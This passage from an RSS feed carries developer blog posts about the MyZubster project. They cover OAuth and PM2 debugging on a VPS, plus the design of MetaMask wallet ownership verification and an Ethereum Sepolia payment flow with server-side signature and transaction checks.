&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;tells you exactly where to investigate.&lt;/p&gt;
&lt;h4 id=&quot;-env-is-not-necessarily-the-runtime-environment&quot;&gt;&lt;code&gt;.env&lt;/code&gt; is not necessarily the runtime environment&lt;/h4&gt;
&lt;p&gt;Always inspect what the actual process sees.&lt;/p&gt;
&lt;p&gt;This becomes especially important with PM2, containers, systemd, CI/CD, and cloud deployment systems.&lt;/p&gt;
&lt;h4 id=&quot;online-does-not-necessarily-mean-healthy&quot;&gt;&lt;code&gt;online&lt;/code&gt; does not necessarily mean healthy&lt;/h4&gt;
&lt;p&gt;Urban Lab demonstrated this clearly.&lt;/p&gt;
&lt;p&gt;A service may be repeatedly restarted while PM2 continues reporting it as online between crashes.&lt;/p&gt;
&lt;p&gt;PID stability, restart counters, health checks, and logs provide a much better picture.&lt;/p&gt;
&lt;h4 id=&quot;debug-instrumentation-should-be-temporary&quot;&gt;Debug instrumentation should be temporary&lt;/h4&gt;
&lt;p&gt;Add enough instrumentation to understand the failure.&lt;/p&gt;
&lt;p&gt;Verify the fix.&lt;/p&gt;
&lt;p&gt;Then remove unnecessary diagnostic logging while retaining safe operational error reporting.&lt;/p&gt;
&lt;h4 id=&quot;infrastructure-fixes-should-end-in-git&quot;&gt;Infrastructure fixes should end in Git&lt;/h4&gt;
&lt;p&gt;A VPS fix that exists only in shell history is technical debt.&lt;/p&gt;
&lt;p&gt;Once the behavior is verified, the corresponding source changes should be cleaned, reviewed, committed, and pushed.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;What began as a Google login failure exposed several deeper infrastructure issues.&lt;/p&gt;
&lt;p&gt;We traced the OAuth flow to the actual Google token exchange, identified an invalid client secret, corrected the runtime configuration, fixed the frontend redirect destination, validated the public callback path, cleaned the debugging instrumentation, stabilized a separate Urban Lab service that had entered a massive PM2 restart loop, verified MongoDB connectivity, persisted the PM2 process state, cleaned the Git working tree, committed the relevant OAuth changes, and pushed the working branch.&lt;/p&gt;
&lt;p&gt;The important outcome is not simply:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;“Google login works.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The more important outcome is that the Sepolia environment is becoming observable, reproducible, testable, and suitable for real end-to-end integration work.&lt;/p&gt;
&lt;p&gt;The next phase is to convert these manually validated infrastructure improvements into automated tests, deployment pipelines, monitoring, stronger secret management, and repeatable environment provisioning.&lt;/p&gt;
&lt;p&gt;That is the path from a working development VPS to a maintainable engineering platform.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28744/from-broken-google-oauth-to-stable-sepolia-e2e-environment-engineering-myzubster-on-vps</guid>
<pubDate>Sun, 27 Sep 2026 00:54:50 +0000</pubDate>
</item>
<item>
<title>Building a Real MetaMask + Ethereum Sepolia Payment Flow for MyZubster</title>
<link>https://coderlegion.com/28576/building-a-real-metamask-ethereum-sepolia-payment-flow-for-myzubster</link>
<description>&lt;p&gt;Building a Real MetaMask + Ethereum Sepolia Payment Flow for MyZubster&lt;/p&gt;
&lt;p&gt;I’ve been working on the next stage of the MyZubster Marketplace: connecting authenticated users, MetaMask wallets, signed marketplace requests, and real blockchain payment verification.&lt;/p&gt;
&lt;p&gt;The target flow is:&lt;/p&gt;
&lt;p&gt;MyZubster account&lt;br&gt;
→ verified MetaMask wallet&lt;br&gt;
→ signed marketplace request&lt;br&gt;
→ seller acceptance&lt;br&gt;
→ Ethereum Sepolia payment&lt;br&gt;
→ server-side verification&lt;br&gt;
→ PAID&lt;br&gt;
→ COMPLETED&lt;/p&gt;
&lt;p&gt;This week we reached an important milestone: real wallet ownership verification is working end-to-end.&lt;/p&gt;
&lt;p&gt;What is working now&lt;/p&gt;
&lt;p&gt;We created a completely isolated E2E environment on the VPS instead of experimenting directly in production.&lt;/p&gt;
&lt;p&gt;The test stack currently runs as:&lt;/p&gt;
&lt;p&gt;React frontend&lt;br&gt;
127.0.0.1:3010&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓ proxy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MyZubster backend&lt;br&gt;
127.0.0.1:5010&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MongoDB + Ethereum Sepolia RPC&lt;/p&gt;
&lt;p&gt;The environment stays private. Instead of exposing the development ports publicly, I access the React frontend from my local machine using an SSH tunnel.&lt;/p&gt;
&lt;p&gt;That also means I can use the real MetaMask browser extension against the remote test backend.&lt;/p&gt;
&lt;p&gt;Real MetaMask verification&lt;/p&gt;
&lt;p&gt;The first working flow is:&lt;/p&gt;
&lt;p&gt;Authenticated MyZubster user&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Connect MetaMask&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Backend generates challenge&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MetaMask personal_sign&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Backend verifies signature&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wallet becomes VERIFIED&lt;/p&gt;
&lt;p&gt;And this is now working with a real wallet.&lt;/p&gt;
&lt;p&gt;The UI successfully reached:&lt;/p&gt;
&lt;p&gt;Verified · 0xBBBc51B471…03f514bCBb&lt;/p&gt;
&lt;p&gt;with confirmation that the wallet was linked to the MyZubster account.&lt;/p&gt;
&lt;p&gt;The important detail is that this is not a payment.&lt;/p&gt;
&lt;p&gt;personal_sign is only being used to prove wallet ownership.&lt;/p&gt;
&lt;p&gt;No ETH is transferred and no gas is consumed.&lt;/p&gt;
&lt;p&gt;Authentication and wallet ownership are separate&lt;/p&gt;
&lt;p&gt;One thing I wanted to preserve in the architecture is a strict distinction between platform identity and blockchain identity.&lt;/p&gt;
&lt;p&gt;A user first authenticates with MyZubster, currently through mechanisms such as Google or GitHub OAuth.&lt;/p&gt;
&lt;p&gt;MetaMask then proves control of an EVM address.&lt;/p&gt;
&lt;p&gt;So:&lt;/p&gt;
&lt;p&gt;AUTHENTICATED ≠ WALLET VERIFIED&lt;/p&gt;
&lt;p&gt;And later:&lt;/p&gt;
&lt;p&gt;WALLET VERIFIED&lt;br&gt;
≠ REQUEST SIGNED&lt;br&gt;
≠ TX SUBMITTED&lt;br&gt;
≠ PAID&lt;br&gt;
≠ COMPLETED&lt;/p&gt;
&lt;p&gt;Those states should never collapse into a single “connected” status.&lt;/p&gt;
&lt;p&gt;An interesting network detail&lt;/p&gt;
&lt;p&gt;The wallet verification test happened while MetaMask was on:&lt;/p&gt;
&lt;p&gt;chainId 84532&lt;/p&gt;
&lt;p&gt;which is Base Sepolia.&lt;/p&gt;
&lt;p&gt;The Marketplace payment system itself targets:&lt;/p&gt;
&lt;p&gt;Ethereum Sepolia&lt;br&gt;
chainId 11155111&lt;br&gt;
0xaa36a7&lt;/p&gt;
&lt;p&gt;That is intentional.&lt;/p&gt;
&lt;p&gt;Wallet ownership verification proves control of an EVM address.&lt;/p&gt;
&lt;p&gt;The actual payment step independently checks the required network and can request MetaMask to switch to Ethereum Sepolia before sending anything.&lt;/p&gt;
&lt;p&gt;Signed Marketplace requests&lt;/p&gt;
&lt;p&gt;The next layer is already implemented.&lt;/p&gt;
&lt;p&gt;When a Buyer requests a real Marketplace listing, MyZubster can generate an order-specific challenge.&lt;/p&gt;
&lt;p&gt;The Buyer signs it with MetaMask:&lt;/p&gt;
&lt;p&gt;Marketplace listing&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Order challenge&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;personal_sign&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Signature verification&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Signed request&lt;/p&gt;
&lt;p&gt;Again, this does not move funds.&lt;/p&gt;
&lt;p&gt;It creates cryptographic evidence that the verified Buyer wallet approved that specific request.&lt;/p&gt;
&lt;p&gt;The Seller can then see wallet evidence before deciding whether to accept the order.&lt;/p&gt;
&lt;p&gt;The payment architecture&lt;/p&gt;
&lt;p&gt;After Seller acceptance, the server creates an ETH payment intent.&lt;/p&gt;
&lt;p&gt;That intent defines the expected:&lt;/p&gt;
&lt;p&gt;sender&lt;br&gt;
recipient&lt;br&gt;
amount&lt;br&gt;
chain&lt;/p&gt;
&lt;p&gt;The frontend then verifies that the currently selected MetaMask account matches the Buyer wallet.&lt;/p&gt;
&lt;p&gt;It also verifies Ethereum Sepolia.&lt;/p&gt;
&lt;p&gt;Only then can it call:&lt;/p&gt;
&lt;p&gt;ethereum.request({&lt;br&gt;
  method: &quot;eth_sendTransaction&quot;,&lt;br&gt;
  ...&lt;br&gt;
})&lt;/p&gt;
&lt;p&gt;MetaMask still requires explicit approval from the user.&lt;/p&gt;
&lt;p&gt;MyZubster never receives the private key.&lt;/p&gt;
&lt;p&gt;A transaction hash is not proof of payment&lt;/p&gt;
&lt;p&gt;This is probably the part of the architecture I care most about.&lt;/p&gt;
&lt;p&gt;The browser submitting a transaction hash does not automatically change the order to PAID.&lt;/p&gt;
&lt;p&gt;The backend independently checks the blockchain through the Sepolia RPC.&lt;/p&gt;
&lt;p&gt;It verifies things such as:&lt;/p&gt;
&lt;p&gt;correct sender&lt;br&gt;
correct recipient&lt;br&gt;
correct network&lt;br&gt;
correct amount&lt;br&gt;
successful transaction&lt;br&gt;
minimum confirmations&lt;/p&gt;
&lt;p&gt;The lifecycle can therefore look like:&lt;/p&gt;
&lt;p&gt;TX_SUBMITTED&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CONFIRMING&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3 confirmations&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PAID&lt;/p&gt;
&lt;p&gt;If something does not match, the verifier can reject the transaction instead.&lt;/p&gt;
&lt;p&gt;What has actually been tested&lt;/p&gt;
&lt;p&gt;So far the real environment has validated the isolated VPS deployment, frontend/backend proxy, Ethereum Sepolia RPC access, SSH browser access, OAuth-authenticated MyZubster session, MetaMask detection, wallet connection, real personal_sign, server-side signature verification, and successful wallet linking.&lt;/p&gt;
&lt;p&gt;The blockchain payment code exists, but I am deliberately not calling the whole Marketplace payment flow complete yet.&lt;/p&gt;
&lt;p&gt;What remains&lt;/p&gt;
&lt;p&gt;The next E2E test needs two actors:&lt;/p&gt;
&lt;p&gt;Seller account + Seller MetaMask wallet&lt;/p&gt;
&lt;p&gt;Buyer account + Buyer MetaMask wallet&lt;/p&gt;
&lt;p&gt;The Seller will create an ETH listing.&lt;/p&gt;
&lt;p&gt;The Buyer will sign a request.&lt;/p&gt;
&lt;p&gt;The Seller will inspect and accept it.&lt;/p&gt;
&lt;p&gt;The Buyer will then submit a real Ethereum Sepolia transaction using test ETH.&lt;/p&gt;
&lt;p&gt;Finally, the backend should independently detect and verify the transaction before changing the order to:&lt;/p&gt;
&lt;p&gt;PAID&lt;/p&gt;
&lt;p&gt;and eventually:&lt;/p&gt;
&lt;p&gt;COMPLETED&lt;/p&gt;
&lt;p&gt;After the happy path works, we still need negative tests for wrong wallets, wrong networks, wrong recipients, incorrect amounts, failed transactions, insufficient confirmations, and reused transaction hashes.&lt;/p&gt;
&lt;p&gt;Why I’m building it this way&lt;/p&gt;
&lt;p&gt;I don’t want “Connect Wallet” to become a magic button that implicitly means identity, authorization, payment, and settlement.&lt;/p&gt;
&lt;p&gt;Each operation should have its own proof.&lt;/p&gt;
&lt;p&gt;OAuth&lt;br&gt;
→ proves the MyZubster account&lt;/p&gt;
&lt;p&gt;Wallet signature&lt;br&gt;
→ proves control of the address&lt;/p&gt;
&lt;p&gt;Order signature&lt;br&gt;
→ proves approval of the request&lt;/p&gt;
&lt;p&gt;Blockchain transaction&lt;br&gt;
→ proves value movement&lt;/p&gt;
&lt;p&gt;Server verifier&lt;br&gt;
→ proves that the transaction matches the order&lt;/p&gt;
&lt;p&gt;That makes the system more complex than a simple wallet-connect demo, but it also makes the trust model much clearer.&lt;/p&gt;
&lt;p&gt;The first major milestone is now working:&lt;/p&gt;
&lt;p&gt;a real authenticated MyZubster user can connect MetaMask, sign an off-chain challenge, and have their EVM wallet independently verified and linked by the backend.&lt;/p&gt;
&lt;p&gt;Next stop: the first complete Buyer → Seller transaction on Ethereum Sepolia.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28576/building-a-real-metamask-ethereum-sepolia-payment-flow-for-myzubster</guid>
<pubDate>Fri, 25 Sep 2026 05:53:49 +0000</pubDate>
</item>
<item>
<title>Building MetaMask Wallet Ownership Verification in MyZubster</title>
<link>https://coderlegion.com/28567/building-metamask-wallet-ownership-verification-in-myzubster</link>
<description>&lt;p&gt;Building MetaMask Wallet Ownership Verification in MyZubster&lt;/p&gt;
&lt;p&gt;I’ve started implementing MetaMask / EVM wallet ownership verification inside MyZubster.&lt;/p&gt;
&lt;p&gt;At first, this might sound like a simple “Connect Wallet” feature.&lt;/p&gt;
&lt;p&gt;But I wanted to avoid one of the most common mistakes in Web3 UX:&lt;/p&gt;
&lt;p&gt;treating “wallet connected” as if it automatically meant “identity verified”, “payment authorized”, or “transaction completed”.&lt;/p&gt;
&lt;p&gt;For MyZubster, those states need to stay separate.&lt;/p&gt;
&lt;p&gt;The architecture I’m building follows this rule:&lt;/p&gt;
&lt;p&gt;CONNECTED&lt;br&gt;
!=&lt;br&gt;
VERIFIED&lt;br&gt;
!=&lt;br&gt;
SIGNED&lt;br&gt;
!=&lt;br&gt;
PAID&lt;br&gt;
!=&lt;br&gt;
SETTLED&lt;/p&gt;
&lt;p&gt;That distinction is now becoming part of the product.&lt;/p&gt;
&lt;p&gt;What we already had&lt;/p&gt;
&lt;p&gt;MyZubster already had several EVM-related pieces in the codebase:&lt;/p&gt;
&lt;p&gt;ethers&lt;br&gt;
Ethereum Sepolia verification&lt;br&gt;
Base Sepolia anchoring&lt;br&gt;
Marketplace ETH support&lt;br&gt;
NFT experiments&lt;br&gt;
blockchain evidence flows&lt;/p&gt;
&lt;p&gt;What was missing was the user-side ownership layer.&lt;/p&gt;
&lt;p&gt;In other words:&lt;/p&gt;
&lt;p&gt;How can a logged-in MyZubster user prove that they actually control a specific Ethereum wallet?&lt;/p&gt;
&lt;p&gt;Without giving MyZubster the private key.&lt;/p&gt;
&lt;p&gt;Without sharing a seed phrase.&lt;/p&gt;
&lt;p&gt;Without sending ETH.&lt;/p&gt;
&lt;p&gt;Without paying gas.&lt;/p&gt;
&lt;p&gt;That became the first milestone.&lt;/p&gt;
&lt;p&gt;The new flow&lt;/p&gt;
&lt;p&gt;The flow now looks like this:&lt;/p&gt;
&lt;p&gt;Authenticated MyZubster user&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Connect MetaMask&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;eth_requestAccounts&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read wallet address&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read chain ID&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Request challenge from MyZubster&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Server creates short-lived nonce&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;User signs message in MetaMask&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;personal_sign&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Signature sent to backend&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Backend recovers signer&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Address matches?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WALLET_VERIFIED&lt;/p&gt;
&lt;p&gt;The important part is that verification happens server-side.&lt;/p&gt;
&lt;p&gt;The frontend cannot simply tell MyZubster:&lt;/p&gt;
&lt;p&gt;{&lt;br&gt;
  &quot;walletVerified&quot;: true&lt;br&gt;
}&lt;/p&gt;
&lt;p&gt;and be trusted.&lt;/p&gt;
&lt;p&gt;New API&lt;/p&gt;
&lt;p&gt;I added four authenticated endpoints:&lt;/p&gt;
&lt;p&gt;GET    /api/wallet/me&lt;br&gt;
POST   /api/wallet/challenge&lt;br&gt;
POST   /api/wallet/verify&lt;br&gt;
DELETE /api/wallet/disconnect&lt;/p&gt;
&lt;p&gt;Their responsibility is intentionally narrow.&lt;/p&gt;
&lt;p&gt;/challenge creates the ownership proof request.&lt;/p&gt;
&lt;p&gt;/verify validates the signature.&lt;/p&gt;
&lt;p&gt;/me returns the current wallet relationship.&lt;/p&gt;
&lt;p&gt;/disconnect removes the verified association from the MyZubster account.&lt;/p&gt;
&lt;p&gt;The challenge&lt;/p&gt;
&lt;p&gt;The challenge includes context such as:&lt;/p&gt;
&lt;p&gt;MyZubster account&lt;br&gt;
wallet address&lt;br&gt;
chain ID&lt;br&gt;
domain&lt;br&gt;
application URI&lt;br&gt;
random nonce&lt;br&gt;
issued time&lt;br&gt;
expiration time&lt;br&gt;
intended action&lt;/p&gt;
&lt;p&gt;The intended action is currently:&lt;/p&gt;
&lt;p&gt;LINK_WALLET&lt;/p&gt;
&lt;p&gt;A simplified message looks like:&lt;/p&gt;
&lt;p&gt;www.myzubster.com wants you to link your Ethereum account to MyZubster:&lt;/p&gt;
&lt;p&gt;0x...&lt;/p&gt;
&lt;p&gt;Sign this message to prove wallet control.&lt;br&gt;
This is not a payment and does not spend ETH.&lt;/p&gt;
&lt;p&gt;URI: &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.myzubster.com&quot;&gt;https://www.myzubster.com&lt;/a&gt;&lt;br&gt;
Version: 1&lt;br&gt;
Chain ID: 1&lt;br&gt;
Nonce: ...&lt;br&gt;
Issued At: ...&lt;br&gt;
Expiration Time: ...&lt;br&gt;
Request ID: LINK_WALLET:user-id&lt;/p&gt;
&lt;p&gt;That “not a payment” line is deliberate.&lt;/p&gt;
&lt;p&gt;I don’t want a wallet signature to ever be confused with a transaction.&lt;/p&gt;
&lt;p&gt;Why use a nonce?&lt;/p&gt;
&lt;p&gt;Because the signature must not be reusable forever.&lt;/p&gt;
&lt;p&gt;Each challenge is:&lt;/p&gt;
&lt;p&gt;random&lt;br&gt;
short-lived&lt;br&gt;
account-bound&lt;br&gt;
wallet-bound&lt;br&gt;
action-bound&lt;/p&gt;
&lt;p&gt;The backend checks:&lt;/p&gt;
&lt;p&gt;challenge exists&lt;br&gt;
↓&lt;br&gt;
challenge is not expired&lt;br&gt;
↓&lt;br&gt;
wallet matches&lt;br&gt;
↓&lt;br&gt;
message matches&lt;br&gt;
↓&lt;br&gt;
signature is valid&lt;br&gt;
↓&lt;br&gt;
recovered signer matches wallet&lt;/p&gt;
&lt;p&gt;Only then does the wallet become verified.&lt;/p&gt;
&lt;p&gt;Signature verification&lt;/p&gt;
&lt;p&gt;The backend uses ethers to recover the signer:&lt;/p&gt;
&lt;p&gt;const recovered = verifyMessage(message, signature);&lt;/p&gt;
&lt;p&gt;Then the recovered address is normalized and compared with the expected wallet.&lt;/p&gt;
&lt;p&gt;If another wallet signs the challenge, verification fails.&lt;/p&gt;
&lt;p&gt;What gets stored&lt;/p&gt;
&lt;p&gt;MyZubster never stores:&lt;/p&gt;
&lt;p&gt;private key&lt;br&gt;
seed phrase&lt;br&gt;
mnemonic&lt;br&gt;
MetaMask password&lt;br&gt;
wallet secret&lt;/p&gt;
&lt;p&gt;Only wallet relationship metadata is persisted.&lt;/p&gt;
&lt;p&gt;Conceptually:&lt;/p&gt;
&lt;p&gt;evmWallet: {&lt;br&gt;
  walletType: 'EVM',&lt;br&gt;
  provider: 'metamask',&lt;br&gt;
  address: '0x...',&lt;br&gt;
  chainId: 1,&lt;br&gt;
  status: 'WALLET_VERIFIED',&lt;br&gt;
  verifiedAt: Date,&lt;br&gt;
  lastVerifiedAt: Date&lt;br&gt;
}&lt;/p&gt;
&lt;p&gt;Temporary challenge information is also stored server-side until verification or expiration.&lt;/p&gt;
&lt;p&gt;Wallet state&lt;/p&gt;
&lt;p&gt;I’m avoiding a single boolean like:&lt;/p&gt;
&lt;p&gt;walletConnected = true&lt;/p&gt;
&lt;p&gt;Instead, MyZubster has explicit states:&lt;/p&gt;
&lt;p&gt;WALLET_NOT_CONNECTED&lt;br&gt;
WALLET_CHALLENGE_PENDING&lt;br&gt;
WALLET_VERIFIED&lt;br&gt;
WALLET_DISCONNECTED&lt;/p&gt;
&lt;p&gt;That becomes useful both for the UI and for Zorgax.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;p&gt;MetaMask connected&lt;/p&gt;
&lt;p&gt;is not the same as:&lt;/p&gt;
&lt;p&gt;wallet ownership verified&lt;/p&gt;
&lt;p&gt;and neither means:&lt;/p&gt;
&lt;p&gt;payment completed&lt;br&gt;
Frontend&lt;/p&gt;
&lt;p&gt;I extended the existing WalletHubPanel rather than creating a completely separate wallet system.&lt;/p&gt;
&lt;p&gt;The user now gets a:&lt;/p&gt;
&lt;p&gt;Connect MetaMask&lt;/p&gt;
&lt;p&gt;action.&lt;/p&gt;
&lt;p&gt;The frontend uses:&lt;/p&gt;
&lt;p&gt;eth_requestAccounts&lt;/p&gt;
&lt;p&gt;then:&lt;/p&gt;
&lt;p&gt;eth_chainId&lt;/p&gt;
&lt;p&gt;and finally:&lt;/p&gt;
&lt;p&gt;personal_sign&lt;/p&gt;
&lt;p&gt;The signature is then sent back to the backend for verification.&lt;/p&gt;
&lt;p&gt;The UI explicitly explains that the signature:&lt;/p&gt;
&lt;p&gt;does not transfer ETH&lt;br&gt;
does not cost gas&lt;br&gt;
does not authorize a payment&lt;br&gt;
Preventing duplicate wallet ownership claims&lt;/p&gt;
&lt;p&gt;Another issue is what happens if two MyZubster accounts try to link the same verified wallet.&lt;/p&gt;
&lt;p&gt;The current behavior is:&lt;/p&gt;
&lt;p&gt;Account A&lt;br&gt;
→ verifies 0xABC&lt;/p&gt;
&lt;p&gt;Account B&lt;br&gt;
→ tries to verify 0xABC&lt;/p&gt;
&lt;p&gt;Result:&lt;br&gt;
WALLET_ALREADY_LINKED&lt;/p&gt;
&lt;p&gt;This does not mean that MyZubster treats a wallet as a legal identity.&lt;/p&gt;
&lt;p&gt;It simply prevents contradictory wallet-to-account relationships inside the application.&lt;/p&gt;
&lt;p&gt;What changes in MyZubster&lt;/p&gt;
&lt;p&gt;This creates a new trust layer.&lt;/p&gt;
&lt;p&gt;MyZubster can already work with:&lt;/p&gt;
&lt;p&gt;account identity&lt;br&gt;
GitHub identity&lt;br&gt;
community profile&lt;br&gt;
Marketplace identity&lt;br&gt;
Zorgax context&lt;/p&gt;
&lt;p&gt;Now it can also say:&lt;/p&gt;
&lt;p&gt;this account proved control&lt;br&gt;
of this EVM wallet&lt;br&gt;
at this time&lt;/p&gt;
&lt;p&gt;That is a reusable building block.&lt;/p&gt;
&lt;p&gt;The next milestone: signed Marketplace requests&lt;/p&gt;
&lt;p&gt;This is where the wallet integration becomes much more useful.&lt;/p&gt;
&lt;p&gt;The next step is to let a verified wallet sign a canonical Marketplace request.&lt;/p&gt;
&lt;p&gt;Something like:&lt;/p&gt;
&lt;p&gt;{&lt;br&gt;
  &quot;schema&quot;: &quot;myzubster.marketplace-request.v1&quot;,&lt;br&gt;
  &quot;intent&quot;: &quot;MARKETPLACE_REQUEST&quot;,&lt;br&gt;
  &quot;listingId&quot;: &quot;listing-123&quot;,&lt;br&gt;
  &quot;quantity&quot;: 1,&lt;br&gt;
  &quot;buyerAccountReference&quot;: &quot;user-42&quot;,&lt;br&gt;
  &quot;walletAddress&quot;: &quot;0x...&quot;,&lt;br&gt;
  &quot;nonce&quot;: &quot;...&quot;,&lt;br&gt;
  &quot;issuedAt&quot;: &quot;...&quot;,&lt;br&gt;
  &quot;expiresAt&quot;: &quot;...&quot;&lt;br&gt;
}&lt;/p&gt;
&lt;p&gt;The buyer signs it off-chain.&lt;/p&gt;
&lt;p&gt;The server verifies it.&lt;/p&gt;
&lt;p&gt;Then MyZubster can create:&lt;/p&gt;
&lt;p&gt;MarketplaceOrder: REQUESTED&lt;/p&gt;
&lt;p&gt;with cryptographic evidence attached.&lt;/p&gt;
&lt;p&gt;No gas.&lt;/p&gt;
&lt;p&gt;No blockchain transaction.&lt;/p&gt;
&lt;p&gt;No payment.&lt;/p&gt;
&lt;p&gt;Just signed intent.&lt;/p&gt;
&lt;p&gt;Why not put every action on-chain?&lt;/p&gt;
&lt;p&gt;Because not every interaction needs blockchain finality.&lt;/p&gt;
&lt;p&gt;If every Marketplace request required a transaction, the UX would become unnecessarily heavy.&lt;/p&gt;
&lt;p&gt;Instead, the architecture I’m aiming for is:&lt;/p&gt;
&lt;p&gt;Marketplace request&lt;br&gt;
↓&lt;br&gt;
off-chain signature&lt;br&gt;
↓&lt;br&gt;
seller acceptance&lt;br&gt;
↓&lt;br&gt;
exchange lifecycle&lt;br&gt;
↓&lt;br&gt;
structured evidence&lt;br&gt;
↓&lt;br&gt;
optional blockchain anchor&lt;/p&gt;
&lt;p&gt;Blockchain should be used where permanence adds value.&lt;/p&gt;
&lt;p&gt;Not everywhere by default.&lt;/p&gt;
&lt;p&gt;User wallet vs infrastructure wallet&lt;/p&gt;
&lt;p&gt;This is also an important boundary.&lt;/p&gt;
&lt;p&gt;MyZubster already has server-side blockchain infrastructure for evidence anchoring.&lt;/p&gt;
&lt;p&gt;That wallet must stay completely separate from user wallets.&lt;/p&gt;
&lt;p&gt;User MetaMask&lt;br&gt;
!=&lt;br&gt;
MyZubster infrastructure wallet&lt;/p&gt;
&lt;p&gt;User-controlled wallet actions remain user-controlled.&lt;/p&gt;
&lt;p&gt;Server-side evidence operations remain isolated.&lt;/p&gt;
&lt;p&gt;How Zorgax can use this&lt;/p&gt;
&lt;p&gt;Once the wallet state is explicit, Zorgax can explain it correctly.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;p&gt;User:&lt;br&gt;
Is my wallet verified?&lt;/p&gt;
&lt;p&gt;Zorgax:&lt;br&gt;
Yes. Your MetaMask wallet ownership has been verified.&lt;/p&gt;
&lt;p&gt;But if the user asks:&lt;/p&gt;
&lt;p&gt;Did I pay?&lt;/p&gt;
&lt;p&gt;Zorgax should answer:&lt;/p&gt;
&lt;p&gt;No confirmed payment evidence exists.&lt;br&gt;
Your wallet only signed the request.&lt;/p&gt;
&lt;p&gt;That distinction is essential.&lt;/p&gt;
&lt;p&gt;Security tests&lt;/p&gt;
&lt;p&gt;I’ve added tests covering:&lt;/p&gt;
&lt;p&gt;valid signer&lt;br&gt;
wrong signer&lt;br&gt;
expired challenge&lt;br&gt;
non-payment message semantics&lt;br&gt;
authenticated API wiring&lt;br&gt;
MetaMask provider integration&lt;/p&gt;
&lt;p&gt;The goal is not just to make the feature work.&lt;/p&gt;
&lt;p&gt;The goal is to make it hard to misunderstand.&lt;/p&gt;
&lt;p&gt;Current status&lt;/p&gt;
&lt;p&gt;The first implementation is now open as:&lt;/p&gt;
&lt;p&gt;PR #1385 — MetaMask wallet ownership linking&lt;/p&gt;
&lt;p&gt;The PR adds:&lt;/p&gt;
&lt;p&gt;wallet model&lt;br&gt;
challenge service&lt;br&gt;
signature verification&lt;br&gt;
authenticated API&lt;br&gt;
MetaMask UI&lt;br&gt;
disconnect flow&lt;br&gt;
security tests&lt;/p&gt;
&lt;p&gt;This is not yet an ETH payment system.&lt;/p&gt;
&lt;p&gt;It is the identity and ownership layer that payments or signed Marketplace actions can build on later.&lt;/p&gt;
&lt;p&gt;Why this matters for MyZubster&lt;/p&gt;
&lt;p&gt;The bigger change is architectural.&lt;/p&gt;
&lt;p&gt;MyZubster is gradually moving toward a model where different kinds of evidence are handled by different layers:&lt;/p&gt;
&lt;p&gt;MyZubster account&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;wallet control&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
